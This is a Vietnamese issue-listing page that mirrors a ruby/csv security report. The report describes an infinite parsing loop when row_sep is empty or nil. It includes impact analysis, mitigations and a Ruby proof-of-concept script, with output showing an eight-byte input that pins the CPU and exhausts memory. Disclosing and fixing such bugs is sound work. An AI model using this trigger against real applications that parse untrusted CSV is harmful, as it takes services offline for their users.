Empty row separator makes CSV parsing loop forever on a single newline

Đang mở
#394 0 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

Đánh giá

Độ khó
3/5
Thời gian dự kiến
1-2 ngày
Mức phù hợp với người mới
58/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
ruby
Lĩnh vực
backend, security

Hướng nghiên cứu

Start in lib/csv/parser.rb at the row separator handling described in the issue, then trace how an empty or nil row_sep reaches the line iterator and row end matching. Check the parser tests for separator behavior and add coverage for newline input with both values. Done means parsing terminates safely with a defined result or raises ArgumentError; verify the affected public entry points described in the issue.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

About

Title: Empty row separator makes CSV parsing loop forever on a single newline
Repository: ruby/csv
Location: lib/csv/parser.rb:62
Severity: High
Impacted versions: 3.0.2, 3.0.9, 3.1.0, 3.1.5, 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8

Summary

The library supports an empty string as the row separator, row_sep: "", as a documented
way to say "the input has no record separator." Internally that empty value is handed to
Ruby's line splitter, where it means "paragraph mode," and the parser also builds an empty
regular expression for the end of a row. An empty pattern matches at the current position
without consuming anything, so the parser can never move past it. Once the input contains
one newline, the read loop treats each zero-width match as another empty row and repeats
forever. row_sep: nil is converted to the same empty string and behaves the same way.

A normal eight-byte CSV document containing a single \n is enough. The first row is
produced (["a","b\n1","2\n"]), and then the parser emits empty rows indefinitely at
roughly 250,000 per second. The library validates col_sep and quote_char for
emptiness, but does not validate row_sep, so this state is reachable through a normal
supported option.

Impact

An application that parses untrusted CSV with this option can be taken out of service with
a one-line payload. With a block (CSV.foreach, CSV.read, CSV.parse { ... }) the call
never returns and the worker thread stays at 100% CPU forever. Without a block, the parser
appends rows to an array until the process exhausts memory; in testing, an eight-byte
input hit a 192 MB address-space limit almost immediately. A handful of requests consumes
every worker, so this is a remote, unauthenticated denial of service.

No malformed quoting or large upload is needed; a single \n or \r is sufficient, while
empty input and input without a newline return normally. The same hang occurs through
every public entry point tested: CSV.parse, CSV.read, and CSV.foreach, with either
an empty string or nil as the separator.

Mitigations

Applications can reject/normalise an empty or nil row_sep before calling CSV (the
library validates col_sep and quote_char for emptiness but not row_sep). A fix in
the library is to reject an empty row_sep with ArgumentError, or to treat it as "no
separator" (single row) instead of paragraph mode, and to make the parser notice when a
row-end match consumes zero bytes. Per-request CPU/memory limits, timeouts and a process
supervisor that restarts wedged workers only limit the damage.

Examples
example 1

A web application accepts CSV uploads and uses row_sep: "" because it expects each
request to contain a single record. An attacker uploads a file containing just \n. The
request handler calls CSV.foreach(path, row_sep: "") { ... }; the worker thread never
returns, the client's request hangs, and repeating the request exhausts the application's
worker pool.

example 2

A batch job ingests partner files with CSV.read(path, row_sep: nil). A file containing a
single CRLF causes the job to allocate rows until the process is killed for running out of
memory, taking down the scheduler along with it.

example 3

A multi-tenant service parses user-supplied CSV in a background queue. One tenant submits
a,b\n1,2\n; the queue worker is pinned forever, and all tenants' jobs behind it are
delayed.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b666-7291-a143-4aaf68851b5c
#
#   CSV's documented `row_sep: ""` option puts the parser's line iterator into
#   Ruby's "paragraph mode" (String#each_line("")), while @row_end becomes the
#   empty regexp /(?:)/ that matches without consuming anything.  The result is
#   that the parser re-emits empty rows forever from an input that contains a
#   single newline: CSV.parse / CSV.foreach / CSV.read never return, and the
#   process burns 100% CPU and (without a block) grows an Array without bound.
#
# Usage:
#   ruby csv_row_sep_empty_dos.rb                # 3 second in-process watchdog
#   ruby csv_row_sep_empty_dos.rb --seconds 5
#   ruby csv_row_sep_empty_dos.rb --memory       # unbounded-memory variant
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"
require "timeout"

SECONDS = (ARGV.index("--seconds") ? ARGV[ARGV.index("--seconds") + 1].to_f : 3.0)

# An 8-byte, perfectly well-formed CSV document.  Nothing exotic: one header
# row and one data row.
INPUT = "a,b\n1,2\n"

def memory_mode
  # No block => CSV.parse accumulates every emitted row in an Array.  Run the
  # unbounded allocation in a child with a hard address-space limit so that the
  # proof is memory exhaustion, not an OOM-killed shell.
  limit_mb = 192
  pid = fork do
    Process.setrlimit(Process::RLIMIT_AS, limit_mb * 1024 * 1024)
    begin
      rows = CSV.parse(INPUT, row_sep: "") # never returns
      $stderr.puts "returned with #{rows.size} rows (unexpected)"
      exit 1
    rescue NoMemoryError
      $stderr.puts "[child] NoMemoryError after exhausting #{limit_mb} MB"
      exit 0
    end
  end
  _, status = Process.waitpid2(pid)
  if status.success?
    puts "RESULT: 8-byte input exhausted the child's #{limit_mb} MB address space"
    exit 0
  end
  puts "RESULT: child terminated while allocating rows (status #{status.inspect}):"
  puts "        address space of #{limit_mb} MB exhausted by an #{INPUT.bytesize}-byte input."
  exit 0
end

if ARGV.include?("--memory")
  memory_mode
end

puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "input      : #{INPUT.inspect} (#{INPUT.bytesize} bytes)"
puts "options    : row_sep: \"\"  (documented option; row_sep: nil behaves the same)"
puts "watchdog   : #{SECONDS}s"
puts

rows = 0
first_rows = []
returned = false
started = Process.clock_gettime(Process::CLOCK_MONOTONIC)

begin
  Timeout.timeout(SECONDS) do
    CSV.parse(INPUT, row_sep: "") do |row|
      first_rows << row if first_rows.size < 3
      rows += 1
    end
    returned = true
  end
rescue Timeout::Error
  returned = false
end

elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - started
rate = rows / elapsed

puts "first rows emitted : #{first_rows.inspect}"
puts "rows emitted       : #{rows} in #{elapsed.round(2)}s (#{rate.round} rows/second)"
puts "CSV.parse returned : #{returned}"

if returned
  puts
  puts "RESULT: parser returned -- bug not reproduced"
  exit 1
end

puts
puts "RESULT: parser never returned.  #{SECONDS.round}s of CPU for an #{INPUT.bytesize}-byte"
puts "        document, #{rate.round} rows/second and no end in sight; a single"
puts "        request pins a worker core forever, and the same loop without a"
puts "        block (CSV.read/CSV.parse) grows an Array without bound."
exit 0
stdout
$ ruby csv_row_sep_empty_dos.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
input      : "a,b\n1,2\n" (8 bytes)
options    : row_sep: ""  (documented option; row_sep: nil behaves the same)
watchdog   : 3.0s

first rows emitted : [["a", "b\n1", "2\n"], [], []]
rows emitted       : 798138 in 3.11s (256913 rows/second)
CSV.parse returned : false

RESULT: parser never returned.  3s of CPU for an 8-byte
        document, 256913 rows/second and no end in sight; a single
        request pins a worker core forever, and the same loop without a
        block (CSV.read/CSV.parse) grows an Array without bound.

$ ruby csv_row_sep_empty_dos.rb --memory
RESULT: child terminated while allocating rows (status #<Process::Status: pid 95285 exit 1>):
        address space of 192 MB exhausted by an 8-byte input.
[FATAL] failed to allocate memory
Ngôn ngữ chính
Ruby
Star
221
Fork
142
Merge trung bình
1 ngày 40 phút
Pull request đã merge (30 ngày)
2

Chuẩn bị môi trường

Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của ruby/csv

Tất cả issue của ruby/csv

Issue tương tự

Thêm issue về Ruby

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.